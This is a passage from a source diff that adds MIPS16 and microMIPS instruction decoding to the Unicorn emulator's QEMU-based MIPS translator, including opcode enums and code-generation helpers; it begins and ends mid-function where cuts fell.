M16_OPC_LI: + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rx], (uint16_t) imm); + break; + case M16_OPC_CMPI: + tcg_gen_xori_tl(tcg_ctx, *cpu_gpr[24], *cpu_gpr[rx], (uint16_t) imm); + break; +#if defined(TARGET_MIPS64) + case M16_OPC_SD: + gen_st(ctx, OPC_SD, ry, rx, offset); + break; +#endif + case M16_OPC_LB: + gen_ld(ctx, OPC_LB, ry, rx, offset); + break; + case M16_OPC_LH: + gen_ld(ctx, OPC_LH, ry, rx, offset); + break; + case M16_OPC_LWSP: + gen_ld(ctx, OPC_LW, rx, 29, offset); + break; + case M16_OPC_LW: + gen_ld(ctx, OPC_LW, ry, rx, offset); + break; + case M16_OPC_LBU: + gen_ld(ctx, OPC_LBU, ry, rx, offset); + break; + case M16_OPC_LHU: + gen_ld(ctx, OPC_LHU, ry, rx, offset); + break; + case M16_OPC_LWPC: + gen_ld(ctx, OPC_LWPC, rx, 0, offset); + break; +#if defined(TARGET_MIPS64) + case M16_OPC_LWU: + gen_ld(ctx, OPC_LWU, ry, rx, offset); + break; +#endif + case M16_OPC_SB: + gen_st(ctx, OPC_SB, ry, rx, offset); + break; + case M16_OPC_SH: + gen_st(ctx, OPC_SH, ry, rx, offset); + break; + case M16_OPC_SWSP: + gen_st(ctx, OPC_SW, rx, 29, offset); + break; + case M16_OPC_SW: + gen_st(ctx, OPC_SW, ry, rx, offset); + break; +#if defined(TARGET_MIPS64) + case M16_OPC_I64: + decode_i64_mips16(ctx, ry, funct, offset, 1); + break; +#endif + default: + generate_exception(ctx, EXCP_RI); + break; + } + + return 4; +} + +static int decode_mips16_opc (CPUMIPSState *env, DisasContext *ctx, bool *insn_need_patch) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int rx, ry; + int sa; + int op, cnvt_op, op1, offset; + int funct; + int n_bytes; + + op = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 2) & 0x7; + sa = sa == 0 ? 8 : sa; + rx = xlat((ctx->opcode >> 8) & 0x7); + cnvt_op = (ctx->opcode >> 5) & 0x7; + ry = xlat((ctx->opcode >> 5) & 0x7); + op1 = offset = ctx->opcode & 0x1f; + + n_bytes = 2; + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, ctx->pc)) { + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_CODE_IDX, env->uc, ctx->pc); + *insn_need_patch = true; + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + switch (op) { + case M16_OPC_ADDIUSP: + { + int16_t imm = ((uint8_t) ctx->opcode) << 2; + + gen_arith_imm(ctx, OPC_ADDIU, rx, 29, imm); + } + break; + case M16_OPC_ADDIUPC: + gen_addiupc(ctx, rx, ((uint8_t) ctx->opcode) << 2, 0, 0); + break; + case M16_OPC_B: + offset = (ctx->opcode & 0x7ff) << 1; + offset = (int16_t)(offset << 4) >> 4; + gen_compute_branch(ctx, OPC_BEQ, 2, 0, 0, offset, 0); + /* No delay slot, so just process as a normal instruction */ + break; + case M16_OPC_JAL: + offset = cpu_lduw_code(env, ctx->pc + 2); + offset = (((ctx->opcode & 0x1f) << 21) + | ((ctx->opcode >> 5) & 0x1f) << 16 + | offset) << 2; + op = ((ctx->opcode >> 10) & 0x1) ? OPC_JALX : OPC_JAL; + gen_compute_branch(ctx, op, 4, rx, ry, offset, 2); + n_bytes = 4; + break; + case M16_OPC_BEQZ: + gen_compute_branch(ctx, OPC_BEQ, 2, rx, 0, + ((uint8_t)ctx->opcode) << 1, 0); + /* No delay slot, so just process as a normal instruction */ + break; + case M16_OPC_BNEQZ: + gen_compute_branch(ctx, OPC_BNE, 2, rx, 0, + ((uint8_t)ctx->opcode) << 1, 0); + /* No delay slot, so just process as a normal instruction */ + break; + case M16_OPC_SHIFT: + switch (ctx->opcode & 0x3) { + case 0x0: + gen_shift_imm(ctx, OPC_SLL, rx, ry, sa); + break; + case 0x1: +#if defined(TARGET_MIPS64) + check_mips_64(ctx); + gen_shift_imm(ctx, OPC_DSLL, rx, ry, sa); +#else + generate_exception(ctx, EXCP_RI); +#endif + break; + case 0x2: + gen_shift_imm(ctx, OPC_SRL, rx, ry, sa); + break; + case 0x3: + gen_shift_imm(ctx, OPC_SRA, rx, ry, sa); + break; + } + break; +#if defined(TARGET_MIPS64) + case M16_OPC_LD: + check_mips_64(ctx); + gen_ld(ctx, OPC_LD, ry, rx, offset << 3); + break; +#endif + case M16_OPC_RRIA: + { + int16_t imm = (int8_t)((ctx->opcode & 0xf) << 4) >> 4; + + if ((ctx->opcode >> 4) & 1) { +#if defined(TARGET_MIPS64) + check_mips_64(ctx); + gen_arith_imm(ctx, OPC_DADDIU, ry, rx, imm); +#else + generate_exception(ctx, EXCP_RI); +#endif + } else { + gen_arith_imm(ctx, OPC_ADDIU, ry, rx, imm); + } + } + break; + case M16_OPC_ADDIU8: + { + int16_t imm = (int8_t) ctx->opcode; + + gen_arith_imm(ctx, OPC_ADDIU, rx, rx, imm); + } + break; + case M16_OPC_SLTI: + { + int16_t imm = (uint8_t) ctx->opcode; + gen_slt_imm(ctx, OPC_SLTI, 24, rx, imm); + } + break; + case M16_OPC_SLTIU: + { + int16_t imm = (uint8_t) ctx->opcode; + gen_slt_imm(ctx, OPC_SLTIU, 24, rx, imm); + } + break; + case M16_OPC_I8: + { + int reg32; + + funct = (ctx->opcode >> 8) & 0x7; + switch (funct) { + case I8_BTEQZ: + gen_compute_branch(ctx, OPC_BEQ, 2, 24, 0, + ((uint8_t)ctx->opcode) << 1, 0); + break; + case I8_BTNEZ: + gen_compute_branch(ctx, OPC_BNE, 2, 24, 0, + ((uint8_t)ctx->opcode) << 1, 0); + break; + case I8_SWRASP: + gen_st(ctx, OPC_SW, 31, 29, (ctx->opcode & 0xff) << 2); + break; + case I8_ADJSP: + gen_arith_imm(ctx, OPC_ADDIU, 29, 29, + ((uint8_t)ctx->opcode) << 3); + break; + case I8_SVRS: + { + int do_ra = ctx->opcode & (1 << 6); + int do_s0 = ctx->opcode & (1 << 5); + int do_s1 = ctx->opcode & (1 << 4); + int framesize = ctx->opcode & 0xf; + + if (framesize == 0) { + framesize = 128; + } else { + framesize = framesize << 3; + } + + if (ctx->opcode & (1 << 7)) { + gen_mips16_save(ctx, 0, 0, + do_ra, do_s0, do_s1, framesize); + } else { + gen_mips16_restore(ctx, 0, 0, + do_ra, do_s0, do_s1, framesize); + } + } + break; + case I8_MOV32R: + { + int rz = xlat(ctx->opcode & 0x7); + + reg32 = (((ctx->opcode >> 3) & 0x3) << 3) | + ((ctx->opcode >> 5) & 0x7); + gen_arith(ctx, OPC_ADDU, reg32, rz, 0); + } + break; + case I8_MOVR32: + reg32 = ctx->opcode & 0x1f; + gen_arith(ctx, OPC_ADDU, ry, reg32, 0); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + } + break; + case M16_OPC_LI: + { + int16_t imm = (uint8_t) ctx->opcode; + + gen_arith_imm(ctx, OPC_ADDIU, rx, 0, imm); + } + break; + case M16_OPC_CMPI: + { + int16_t imm = (uint8_t) ctx->opcode; + gen_logic_imm(ctx, OPC_XORI, 24, rx, imm); + } + break; +#if defined(TARGET_MIPS64) + case M16_OPC_SD: + check_mips_64(ctx); + gen_st(ctx, OPC_SD, ry, rx, offset << 3); + break; +#endif + case M16_OPC_LB: + gen_ld(ctx, OPC_LB, ry, rx, offset); + break; + case M16_OPC_LH: + gen_ld(ctx, OPC_LH, ry, rx, offset << 1); + break; + case M16_OPC_LWSP: + gen_ld(ctx, OPC_LW, rx, 29, ((uint8_t)ctx->opcode) << 2); + break; + case M16_OPC_LW: + gen_ld(ctx, OPC_LW, ry, rx, offset << 2); + break; + case M16_OPC_LBU: + gen_ld(ctx, OPC_LBU, ry, rx, offset); + break; + case M16_OPC_LHU: + gen_ld(ctx, OPC_LHU, ry, rx, offset << 1); + break; + case M16_OPC_LWPC: + gen_ld(ctx, OPC_LWPC, rx, 0, ((uint8_t)ctx->opcode) << 2); + break; +#if defined (TARGET_MIPS64) + case M16_OPC_LWU: + check_mips_64(ctx); + gen_ld(ctx, OPC_LWU, ry, rx, offset << 2); + break; +#endif + case M16_OPC_SB: + gen_st(ctx, OPC_SB, ry, rx, offset); + break; + case M16_OPC_SH: + gen_st(ctx, OPC_SH, ry, rx, offset << 1); + break; + case M16_OPC_SWSP: + gen_st(ctx, OPC_SW, rx, 29, ((uint8_t)ctx->opcode) << 2); + break; + case M16_OPC_SW: + gen_st(ctx, OPC_SW, ry, rx, offset << 2); + break; + case M16_OPC_RRR: + { + int rz = xlat((ctx->opcode >> 2) & 0x7); + int mips32_op; + + switch (ctx->opcode & 0x3) { + case RRR_ADDU: + mips32_op = OPC_ADDU; + break; + case RRR_SUBU: + mips32_op = OPC_SUBU; + break; +#if defined(TARGET_MIPS64) + case RRR_DADDU: + mips32_op = OPC_DADDU; + check_mips_64(ctx); + break; + case RRR_DSUBU: + mips32_op = OPC_DSUBU; + check_mips_64(ctx); + break; +#endif + default: + generate_exception(ctx, EXCP_RI); + goto done; + } + + gen_arith(ctx, mips32_op, rz, rx, ry); + done: + ; + } + break; + case M16_OPC_RR: + switch (op1) { + case RR_JR: + { + int nd = (ctx->opcode >> 7) & 0x1; + int link = (ctx->opcode >> 6) & 0x1; + int ra = (ctx->opcode >> 5) & 0x1; + + if (link) { + op = OPC_JALR; + } else { + op = OPC_JR; + } + + gen_compute_branch(ctx, op, 2, ra ? 31 : rx, 31, 0, + (nd ? 0 : 2)); + } + break; + case RR_SDBBP: + /* XXX: not clear which exception should be raised + * when in debug mode... + */ + check_insn(ctx, ISA_MIPS32); + if (!(ctx->hflags & MIPS_HFLAG_DM)) { + generate_exception(ctx, EXCP_DBp); + } else { + generate_exception(ctx, EXCP_DBp); + } + break; + case RR_SLT: + gen_slt(ctx, OPC_SLT, 24, rx, ry); + break; + case RR_SLTU: + gen_slt(ctx, OPC_SLTU, 24, rx, ry); + break; + case RR_BREAK: + generate_exception(ctx, EXCP_BREAK); + break; + case RR_SLLV: + gen_shift(ctx, OPC_SLLV, ry, rx, ry); + break; + case RR_SRLV: + gen_shift(ctx, OPC_SRLV, ry, rx, ry); + break; + case RR_SRAV: + gen_shift(ctx, OPC_SRAV, ry, rx, ry); + break; +#if defined (TARGET_MIPS64) + case RR_DSRL: + check_mips_64(ctx); + gen_shift_imm(ctx, OPC_DSRL, ry, ry, sa); + break; +#endif + case RR_CMP: + gen_logic(ctx, OPC_XOR, 24, rx, ry); + break; + case RR_NEG: + gen_arith(ctx, OPC_SUBU, rx, 0, ry); + break; + case RR_AND: + gen_logic(ctx, OPC_AND, rx, rx, ry); + break; + case RR_OR: + gen_logic(ctx, OPC_OR, rx, rx, ry); + break; + case RR_XOR: + gen_logic(ctx, OPC_XOR, rx, rx, ry); + break; + case RR_NOT: + gen_logic(ctx, OPC_NOR, rx, ry, 0); + break; + case RR_MFHI: + gen_HILO(ctx, OPC_MFHI, 0, rx); + break; + case RR_CNVT: + switch (cnvt_op) { + case RR_RY_CNVT_ZEB: + tcg_gen_ext8u_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + break; + case RR_RY_CNVT_ZEH: + tcg_gen_ext16u_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + break; + case RR_RY_CNVT_SEB: + tcg_gen_ext8s_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + break; + case RR_RY_CNVT_SEH: + tcg_gen_ext16s_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + break; +#if defined (TARGET_MIPS64) + case RR_RY_CNVT_ZEW: + check_mips_64(ctx); + tcg_gen_ext32u_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + break; + case RR_RY_CNVT_SEW: + check_mips_64(ctx); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + break; +#endif + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case RR_MFLO: + gen_HILO(ctx, OPC_MFLO, 0, rx); + break; +#if defined (TARGET_MIPS64) + case RR_DSRA: + check_mips_64(ctx); + gen_shift_imm(ctx, OPC_DSRA, ry, ry, sa); + break; + case RR_DSLLV: + check_mips_64(ctx); + gen_shift(ctx, OPC_DSLLV, ry, rx, ry); + break; + case RR_DSRLV: + check_mips_64(ctx); + gen_shift(ctx, OPC_DSRLV, ry, rx, ry); + break; + case RR_DSRAV: + check_mips_64(ctx); + gen_shift(ctx, OPC_DSRAV, ry, rx, ry); + break; +#endif + case RR_MULT: + gen_muldiv(ctx, OPC_MULT, 0, rx, ry); + break; + case RR_MULTU: + gen_muldiv(ctx, OPC_MULTU, 0, rx, ry); + break; + case RR_DIV: + gen_muldiv(ctx, OPC_DIV, 0, rx, ry); + break; + case RR_DIVU: + gen_muldiv(ctx, OPC_DIVU, 0, rx, ry); + break; +#if defined (TARGET_MIPS64) + case RR_DMULT: + check_mips_64(ctx); + gen_muldiv(ctx, OPC_DMULT, 0, rx, ry); + break; + case RR_DMULTU: + check_mips_64(ctx); + gen_muldiv(ctx, OPC_DMULTU, 0, rx, ry); + break; + case RR_DDIV: + check_mips_64(ctx); + gen_muldiv(ctx, OPC_DDIV, 0, rx, ry); + break; + case RR_DDIVU: + check_mips_64(ctx); + gen_muldiv(ctx, OPC_DDIVU, 0, rx, ry); + break; +#endif + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case M16_OPC_EXTEND: + decode_extended_mips16_opc(env, ctx); + n_bytes = 4; + break; +#if defined(TARGET_MIPS64) + case M16_OPC_I64: + funct = (ctx->opcode >> 8) & 0x7; + decode_i64_mips16(ctx, ry, funct, offset, 0); + break; +#endif + default: + generate_exception(ctx, EXCP_RI); + break; + } + + return n_bytes; +} + +/* microMIPS extension to MIPS32/MIPS64 */ + +/* + * microMIPS32/microMIPS64 major opcodes + * + * 1. MIPS Architecture for Programmers Volume II-B: + * The microMIPS32 Instruction Set (Revision 3.05) + * + * Table 6.2 microMIPS32 Encoding of Major Opcode Field + * + * 2. MIPS Architecture For Programmers Volume II-A: + * The MIPS64 Instruction Set (Revision 3.51) + */ + +enum { + POOL32A = 0x00, + POOL16A = 0x01, + LBU16 = 0x02, + MOVE16 = 0x03, + ADDI32 = 0x04, + LBU32 = 0x05, + SB32 = 0x06, + LB32 = 0x07, + + POOL32B = 0x08, + POOL16B = 0x09, + LHU16 = 0x0a, + ANDI16 = 0x0b, + ADDIU32 = 0x0c, + LHU32 = 0x0d, + SH32 = 0x0e, + LH32 = 0x0f, + + POOL32I = 0x10, + POOL16C = 0x11, + LWSP16 = 0x12, + POOL16D = 0x13, + ORI32 = 0x14, + POOL32F = 0x15, + POOL32S = 0x16, /* MIPS64 */ + DADDIU32 = 0x17, /* MIPS64 */ + + /* 0x1f is reserved */ + POOL32C = 0x18, + LWGP16 = 0x19, + LW16 = 0x1a, + POOL16E = 0x1b, + XORI32 = 0x1c, + JALS32 = 0x1d, + ADDIUPC = 0x1e, + + /* 0x20 is reserved */ + RES_20 = 0x20, + POOL16F = 0x21, + SB16 = 0x22, + BEQZ16 = 0x23, + SLTI32 = 0x24, + BEQ32 = 0x25, + SWC132 = 0x26, + LWC132 = 0x27, + + /* 0x28 and 0x29 are reserved */ + RES_28 = 0x28, + RES_29 = 0x29, + SH16 = 0x2a, + BNEZ16 = 0x2b, + SLTIU32 = 0x2c, + BNE32 = 0x2d, + SDC132 = 0x2e, + LDC132 = 0x2f, + + /* 0x30 and 0x31 are reserved */ + RES_30 = 0x30, + RES_31 = 0x31, + SWSP16 = 0x32, + B16 = 0x33, + ANDI32 = 0x34, + J32 = 0x35, + SD32 = 0x36, /* MIPS64 */ + LD32 = 0x37, /* MIPS64 */ + + /* 0x38 and 0x39 are reserved */ + RES_38 = 0x38, + RES_39 = 0x39, + SW16 = 0x3a, + LI16 = 0x3b, + JALX32 = 0x3c, + JAL32 = 0x3d, + SW32 = 0x3e, + LW32 = 0x3f +}; + +/* POOL32A encoding of minor opcode field */ + +enum { + /* These opcodes are distinguished only by bits 9..6; those bits are + * what are recorded below. */ + SLL32 = 0x0, + SRL32 = 0x1, + SRA = 0x2, + ROTR = 0x3, + + SLLV = 0x0, + SRLV = 0x1, + SRAV = 0x2, + ROTRV = 0x3, + ADD = 0x4, + ADDU32 = 0x5, + SUB = 0x6, + SUBU32 = 0x7, + MUL = 0x8, + AND = 0x9, + OR32 = 0xa, + NOR = 0xb, + XOR32 = 0xc, + SLT = 0xd, + SLTU = 0xe, + + MOVN = 0x0, + MOVZ = 0x1, + LWXS = 0x4, + + /* The following can be distinguished by their lower 6 bits. */ + INS = 0x0c, + EXT = 0x2c, + POOL32AXF = 0x3c +}; + +/* POOL32AXF encoding of minor opcode field extension */ + +/* + * 1. MIPS Architecture for Programmers Volume II-B: + * The microMIPS32 Instruction Set (Revision 3.05) + * + * Table 6.5 POOL32Axf Encoding of Minor Opcode Extension Field + * + * 2. MIPS Architecture for Programmers VolumeIV-e: + * The MIPS DSP Application-Specific Extension + * to the microMIPS32 Architecture (Revision 2.34) + * + * Table 5.5 POOL32Axf Encoding of Minor Opcode Extension Field + */ + +enum { + /* bits 11..6 */ + TEQ = 0x00, + TGE = 0x08, + TGEU = 0x10, + TLT = 0x20, + TLTU = 0x28, + TNE = 0x30, + + MFC0 = 0x03, + MTC0 = 0x0b, + + /* begin of microMIPS32 DSP */ + + /* bits 13..12 for 0x01 */ + MFHI_ACC = 0x0, + MFLO_ACC = 0x1, + MTHI_ACC = 0x2, + MTLO_ACC = 0x3, + + /* bits 13..12 for 0x2a */ + MADD_ACC = 0x0, + MADDU_ACC = 0x1, + MSUB_ACC = 0x2, + MSUBU_ACC = 0x3, + + /* bits 13..12 for 0x32 */ + MULT_ACC = 0x0, + MULTU_ACC = 0x1, + + /* end of microMIPS32 DSP */ + + /* bits 15..12 for 0x2c */ + SEB = 0x2, + SEH = 0x3, + CLO = 0x4, + CLZ = 0x5, + RDHWR = 0x6, + WSBH = 0x7, + MULT = 0x8, + MULTU = 0x9, + DIV = 0xa, + DIVU = 0xb, + MADD = 0xc, + MADDU = 0xd, + MSUB = 0xe, + MSUBU = 0xf, + + /* bits 15..12 for 0x34 */ + MFC2 = 0x4, + MTC2 = 0x5, + MFHC2 = 0x8, + MTHC2 = 0x9, + CFC2 = 0xc, + CTC2 = 0xd, + + /* bits 15..12 for 0x3c */ + JALR = 0x0, + JR = 0x0, /* alias */ + JALR_HB = 0x1, + JALRS = 0x4, + JALRS_HB = 0x5, + + /* bits 15..12 for 0x05 */ + RDPGPR = 0xe, + WRPGPR = 0xf, + + /* bits 15..12 for 0x0d */ + TLBP = 0x0, + TLBR = 0x1, + TLBWI = 0x2, + TLBWR = 0x3, + WAIT = 0x9, + IRET = 0xd, + DERET = 0xe, + ERET = 0xf, + + /* bits 15..12 for 0x15 */ + DMT = 0x0, + DVPE = 0x1, + EMT = 0x2, + EVPE = 0x3, + + /* bits 15..12 for 0x1d */ + DI = 0x4, + EI = 0x5, + + /* bits 15..12 for 0x2d */ + SYNC = 0x6, + SYSCALL = 0x8, + SDBBP = 0xd, + + /* bits 15..12 for 0x35 */ + MFHI32 = 0x0, + MFLO32 = 0x1, + MTHI32 = 0x2, + MTLO32 = 0x3, +}; + +/* POOL32B encoding of minor opcode field (bits 15..12) */ + +enum { + LWC2 = 0x0, + LWP = 0x1, + LDP = 0x4, + LWM32 = 0x5, + CACHE = 0x6, + LDM = 0x7, + SWC2 = 0x8, + SWP = 0x9, + SDP = 0xc, + SWM32 = 0xd, + SDM = 0xf +}; + +/* POOL32C encoding of minor opcode field (bits 15..12) */ + +enum { + LWL = 0x0, + SWL = 0x8, + LWR = 0x1, + SWR = 0x9, + PREF = 0x2, + /* 0xa is reserved */ + LL = 0x3, + SC = 0xb, + LDL = 0x4, + SDL = 0xc, + LDR = 0x5, + SDR = 0xd, + /* 0x6 is reserved */ + LWU = 0xe, + LLD = 0x7, + SCD = 0xf +}; + +/* POOL32F encoding of minor opcode field (bits 5..0) */ + +enum { + /* These are the bit 7..6 values */ + ADD_FMT = 0x0, + MOVN_FMT = 0x0, + + SUB_FMT = 0x1, + MOVZ_FMT = 0x1, + + MUL_FMT = 0x2, + + DIV_FMT = 0x3, + + /* These are the bit 8..6 values */ + RSQRT2_FMT = 0x0, + MOVF_FMT = 0x0, + + LWXC1 = 0x1, + MOVT_FMT = 0x1, + + PLL_PS = 0x2, + SWXC1 = 0x2, + + PLU_PS = 0x3, + LDXC1 = 0x3, + + PUL_PS = 0x4, + SDXC1 = 0x4, + RECIP2_FMT = 0x4, + + PUU_PS = 0x5, + LUXC1 = 0x5, + + CVT_PS_S = 0x6, + SUXC1 = 0x6, + ADDR_PS = 0x6, + PREFX = 0x6, + + MULR_PS = 0x7, + + MADD_S = 0x01, + MADD_D = 0x09, + MADD_PS = 0x11, + ALNV_PS = 0x19, + MSUB_S = 0x21, + MSUB_D = 0x29, + MSUB_PS = 0x31, + + NMADD_S = 0x02, + NMADD_D = 0x0a, + NMADD_PS = 0x12, + NMSUB_S = 0x22, + NMSUB_D = 0x2a, + NMSUB_PS = 0x32, + + POOL32FXF = 0x3b, + + CABS_COND_FMT = 0x1c, /* MIPS3D */ + C_COND_FMT = 0x3c +}; + +/* POOL32Fxf encoding of minor opcode extension field */ + +enum { + CVT_L = 0x04, + RSQRT_FMT = 0x08, + FLOOR_L = 0x0c, + CVT_PW_PS = 0x1c, + CVT_W = 0x24, + SQRT_FMT = 0x28, + FLOOR_W = 0x2c, + CVT_PS_PW = 0x3c, + CFC1 = 0x40, + RECIP_FMT = 0x48, + CEIL_L = 0x4c, + CTC1 = 0x60, + CEIL_W = 0x6c, + MFC1 = 0x80, + CVT_S_PL = 0x84, + TRUNC_L = 0x8c, + MTC1 = 0xa0, + CVT_S_PU = 0xa4, + TRUNC_W = 0xac, + MFHC1 = 0xc0, + ROUND_L = 0xcc, + MTHC1 = 0xe0, + ROUND_W = 0xec, + + MOV_FMT = 0x01, + MOVF = 0x05, + ABS_FMT = 0x0d, + RSQRT1_FMT = 0x1d, + MOVT = 0x25, + NEG_FMT = 0x2d, + CVT_D = 0x4d, + RECIP1_FMT = 0x5d, + CVT_S = 0x6d +}; + +/* POOL32I encoding of minor opcode field (bits 25..21) */ + +enum { + BLTZ = 0x00, + BLTZAL = 0x01, + BGEZ = 0x02, + BGEZAL = 0x03, + BLEZ = 0x04, + BNEZC = 0x05, + BGTZ = 0x06, + BEQZC = 0x07, + TLTI = 0x08, + TGEI = 0x09, + TLTIU = 0x0a, + TGEIU = 0x0b, + TNEI = 0x0c, + LUI = 0x0d, + TEQI = 0x0e, + SYNCI = 0x10, + BLTZALS = 0x11, + BGEZALS = 0x13, + BC2F = 0x14, + BC2T = 0x15, + BPOSGE64 = 0x1a, + BPOSGE32 = 0x1b, + /* These overlap and are distinguished by bit16 of the instruction */ + BC1F = 0x1c, + BC1T = 0x1d, + BC1ANY2F = 0x1c, + BC1ANY2T = 0x1d, + BC1ANY4F = 0x1e, + BC1ANY4T = 0x1f +}; + +/* POOL16A encoding of minor opcode field */ + +enum { + ADDU16 = 0x0, + SUBU16 = 0x1 +}; + +/* POOL16B encoding of minor opcode field */ + +enum { + SLL16 = 0x0, + SRL16 = 0x1 +}; + +/* POOL16C encoding of minor opcode field */ + +enum { + NOT16 = 0x00, + XOR16 = 0x04, + AND16 = 0x08, + OR16 = 0x0c, + LWM16 = 0x10, + SWM16 = 0x14, + JR16 = 0x18, + JRC16 = 0x1a, + JALR16 = 0x1c, + JALR16S = 0x1e, + MFHI16 = 0x20, + MFLO16 = 0x24, + BREAK16 = 0x28, + SDBBP16 = 0x2c, + JRADDIUSP = 0x30 +}; + +/* POOL16D encoding of minor opcode field */ + +enum { + ADDIUS5 = 0x0, + ADDIUSP = 0x1 +}; + +/* POOL16E encoding of minor opcode field */ + +enum { + ADDIUR2 = 0x0, + ADDIUR1SP = 0x1 +}; + +static int mmreg (int r) +{ + static const int map[] = { 16, 17, 2, 3, 4, 5, 6, 7 }; + + return map[r]; +} + +/* Used for 16-bit store instructions. */ +static int mmreg2 (int r) +{ + static const int map[] = { 0, 17, 2, 3, 4, 5, 6, 7 }; + + return map[r]; +} + +#define uMIPS_RD(op) ((op >> 7) & 0x7) +#define uMIPS_RS(op) ((op >> 4) & 0x7) +#define uMIPS_RS2(op) uMIPS_RS(op) +#define uMIPS_RS1(op) ((op >> 1) & 0x7) +#define uMIPS_RD5(op) ((op >> 5) & 0x1f) +#define uMIPS_RS5(op) (op & 0x1f) + +/* Signed immediate */ +#define SIMM(op, start, width) \ + ((int32_t)(((op >> start) & ((~0U) >> (32-width))) \ + << (32-width)) \ + >> (32-width)) +/* Zero-extended immediate */ +#define ZIMM(op, start, width) ((op >> start) & ((~0U) >> (32-width))) + +static void gen_addiur1sp(DisasContext *ctx) +{ + int rd = mmreg(uMIPS_RD(ctx->opcode)); + + gen_arith_imm(ctx, OPC_ADDIU, rd, 29, ((ctx->opcode >> 1) & 0x3f) << 2); +} + +static void gen_addiur2(DisasContext *ctx) +{ + static const int decoded_imm[] = { 1, 4, 8, 12, 16, 20, 24, -1 }; + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rs = mmreg(uMIPS_RS(ctx->opcode)); + + gen_arith_imm(ctx, OPC_ADDIU, rd, rs, decoded_imm[ZIMM(ctx->opcode, 1, 3)]); +} + +static void gen_addiusp(DisasContext *ctx) +{ + int encoded = ZIMM(ctx->opcode, 1, 9); + int decoded; + + if (encoded <= 1) { + decoded = 256 + encoded; + } else if (encoded <= 255) { + decoded = encoded; + } else if (encoded <= 509) { + decoded = encoded - 512; + } else { + decoded = encoded - 768; + } + + gen_arith_imm(ctx, OPC_ADDIU, 29, 29, decoded << 2); +} + +static void gen_addius5(DisasContext *ctx) +{ + int imm = SIMM(ctx->opcode, 1, 4); + int rd = (ctx->opcode >> 5) & 0x1f; + + gen_arith_imm(ctx, OPC_ADDIU, rd, rd, imm); +} + +static void gen_andi16(DisasContext *ctx) +{ + static const int decoded_imm[] = { 128, 1, 2, 3, 4, 7, 8, 15, 16, + 31, 32, 63, 64, 255, 32768, 65535 }; + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rs = mmreg(uMIPS_RS(ctx->opcode)); + int encoded = ZIMM(ctx->opcode, 0, 4); + + gen_logic_imm(ctx, OPC_ANDI, rd, rs, decoded_imm[encoded]); +} + +static void gen_ldst_multiple (DisasContext *ctx, uint32_t opc, int reglist, + int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "ldst_multiple"; + TCGv t0, t1; + TCGv_i32 t2; + + if (ctx->hflags & MIPS_HFLAG_BMASK) { + generate_exception(ctx, EXCP_RI); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + + gen_base_offset_addr(ctx, t0, base, offset); + + t1 = tcg_const_tl(tcg_ctx, reglist); + t2 = tcg_const_i32(tcg_ctx, ctx->mem_idx); + + save_cpu_state(ctx, 1); + switch (opc) { + case LWM32: + gen_helper_lwm(tcg_ctx, tcg_ctx->cpu_env, t0, t1, t2); + opn = "lwm"; + break; + case SWM32: + gen_helper_swm(tcg_ctx, tcg_ctx->cpu_env, t0, t1, t2); + opn = "swm"; + break; +#ifdef TARGET_MIPS64 + case LDM: + gen_helper_ldm(tcg_ctx, tcg_ctx->cpu_env, t0, t1, t2); + opn = "ldm"; + break; + case SDM: + gen_helper_sdm(tcg_ctx, tcg_ctx->cpu_env, t0, t1, t2); + opn = "sdm"; + break; +#endif + } + (void)opn; + MIPS_DEBUG("%s, %x, %d(%s)", opn, reglist, offset, regnames[base]); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free_i32(tcg_ctx, t2); +} + + +static void gen_pool16c_insn(DisasContext *ctx) +{ + int rd = mmreg((ctx->opcode >> 3) & 0x7); + int rs = mmreg(ctx->opcode & 0x7); + + switch (((ctx->opcode) >> 4) & 0x3f) { + case NOT16 + 0: + case NOT16 + 1: + case NOT16 + 2: + case NOT16 + 3: + gen_logic(ctx, OPC_NOR, rd, rs, 0); + break; + case XOR16 + 0: + case XOR16 + 1: + case XOR16 + 2: + case XOR16 + 3: + gen_logic(ctx, OPC_XOR, rd, rd, rs); + break; + case AND16 + 0: + case AND16 + 1: + case AND16 + 2: + case AND16 + 3: + gen_logic(ctx, OPC_AND, rd, rd, rs); + break; + case OR16 + 0: + case OR16 + 1: + case OR16 + 2: + case OR16 + 3: + gen_logic(ctx, OPC_OR, rd, rd, rs); + break; + case LWM16 + 0: + case LWM16 + 1: + case LWM16 + 2: + case LWM16 + 3: + { + static const int lwm_convert[] = { 0x11, 0x12, 0x13, 0x14 }; + int offset = ZIMM(ctx->opcode, 0, 4); + + gen_ldst_multiple(ctx, LWM32, lwm_convert[(ctx->opcode >> 4) & 0x3], + 29, offset << 2); + } + break; + case SWM16 + 0: + case SWM16 + 1: + case SWM16 + 2: + case SWM16 + 3: + { + static const int swm_convert[] = { 0x11, 0x12, 0x13, 0x14 }; + int offset = ZIMM(ctx->opcode, 0, 4); + + gen_ldst_multiple(ctx, SWM32, swm_convert[(ctx->opcode >> 4) & 0x3], + 29, offset << 2); + } + break; + case JR16 + 0: + case JR16 + 1: + { + int reg = ctx->opcode & 0x1f; + + gen_compute_branch(ctx, OPC_JR, 2, reg, 0, 0, 4); + } + break; + case JRC16 + 0: + case JRC16 + 1: + { + int reg = ctx->opcode & 0x1f; + gen_compute_branch(ctx, OPC_JR, 2, 